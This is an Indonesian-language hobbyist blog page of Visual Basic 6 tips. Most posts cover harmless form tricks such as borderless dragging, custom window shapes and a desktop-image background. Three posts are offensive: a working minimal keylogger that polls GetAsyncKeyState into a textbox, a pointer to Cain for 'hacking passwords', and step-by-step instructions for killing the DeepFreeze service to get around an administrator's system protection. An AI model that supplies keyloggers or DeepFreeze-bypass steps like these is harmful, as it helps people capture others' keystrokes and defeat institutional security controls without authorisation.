RSS

Memindah form tanpa menggunakan border

Untuk menggerakkan form dengan men-Drag sembarang tempat dengan script berikut :

Paste kan code ini di bagian Declarations

Private Declare Function ReleaseCapture Lib "user32" () As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Long) As Long

Selanjutnya coding ini di bagian Form_MouseDown

If Button = 1 Then 'left click
ReleaseCapture
SendMessage Me.hWnd, &HA1, 2, 0
End If

  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS
Read User's Comments0

Form berlatar desktop

Ini akan membuat form bergambar seperti gambar desktop yang sekarang ada di desktop anda
tambahkan 1 buah timer (Interval=1)

lakukan coding di Declarations

Private Declare Function PaintDesktop Lib "user32" (ByVal hdc As Long) As Long

lalu Coding di timer1 :

PaintDesktop Me.hdc

  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS
Read User's Comments0

Form berbentuk round square & bundar

- Buka vb 6
- Ubah border style form menjadi BorderStyle=None
- Masukkan code ini di Declarate

Private Declare Function CreateRoundRectRgn Lib "gdi32" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long, ByVal X3 As Long, ByVal Y3 As Long) As Long
Private Declare Function CreateEllipticRgn Lib "gdi32" (ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Private Declare Function SetWindowRgn Lib "user32" (ByVal hwnd As Long, ByVal hRgn As Long, ByVal bRedraw As Boolean) As Long

Untuk membuat Form berbentuk shape rounded rectangle, di bagian 'Form_Load' tulis:

Dim l As Long
l = CreateRoundRectRgn(0, 0, Me.Width / Screen.TwipsPerPixelX, Me.Height / Screen.TwipsPerPixelY, 20, 20)
SetWindowRgn Me.hwnd, l, False 

untuk membuat Form berbentuk shape oval / lingkaran, di bagian 'Form_Load' tulis:

Dim l As Long
l = CreateEllipticRgn(0, 0, Me.Width / Screen.TwipsPerPixelX, Me.Height / Screen.TwipsPerPixelY)
SetWindowRgn Me.hwnd, l, False

selesai...

  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS
Read User's Comments0

Membuat Keylogger di vb6

hahay... maaf gan ni cuma keylogger yang sangat,, amat sederhana....

Anda butuh:
1. Visual Basic 6.0

langsung aja... buka Visual Basic 6.0

Tambahkan :
1. Timer (Interval = 1)
2. Textbox (Text="")

coding di General...
ni codenya...

Private declare function GetAsyncKeyState lib "user32" (ByVal vkey as long) as integer
End Sub


Coding di timer1

Dim a As Integer

For a = 1 To 255
if GetAsyncKeyState (a) = -32767 Then
Text1.Text = Text1.Text & Chr (a)
End if
Next a

nah... jadi.......

  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS
Read User's Comments1

Cara mengubah Start di windows XP

Butuh :
1. Resource Hacker (Download)

Caranya :

Buka Resource Hacker and pilih File > Open...
truss pilih explorer.exe di "C:\WINDOWS\explorer.exe"
pilih di situ pada String table > 37 > 1033

Ganti tulisan yang di block dengan tulisan kamu Contoh "MX"

hah... selesai.......

  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS
Read User's Comments0

Cara Hack Password dengan CAIN

Lihat Video tutor di bawah baik-baik . . .
 

Download : Cain

  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS
Read User's Comments0

Cara mematikan DeepFreeze Secara cepat

1. Boot komputer anda. Masuk ke BIOS dan ubah tahunnya ke beberapa tahun belakang (2 atau 3 tahun sebelumnya). Misalkan 2009, ubah menjadi 2006 atau 2005.

2. Restar komputer dan tekan F8 saat proses booting. Pada daftar pilihan boot, pilih Debug Mode (Start Windows in Debug Mode).

4. Tunggu sampai tampilan Welcome muncul. Segera setelah tampilan itu hilang tekan Ctrl+Alt+Del(kalau perlu saat muncul tampilan selamat datang anda siap-siap pencet saja). Task Manager akan terbuka.

5. Pindah ke tab Processes. Cari proses bernama DF5Serv.exe dan matikan proses itu dengan menekan Delete atau klik kanan – pilih end process.

6. Restar komputer lagi dan ubah tanggalnya sesuai dengan tanggal sekarang.

7. Setelah anda masuk windows akan nampak bahwa ikon deep freeze diberi tanda silang alias sudah Thawed/ mati.

8. Jika anda ingin membuangnya, gunakan installer deep Freeze untuk meng-uninstallnya.Sekian tips cara mematikan Deepfreeze.

  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • RSS
Read User's Comments0
Langganan: Postingan (Atom)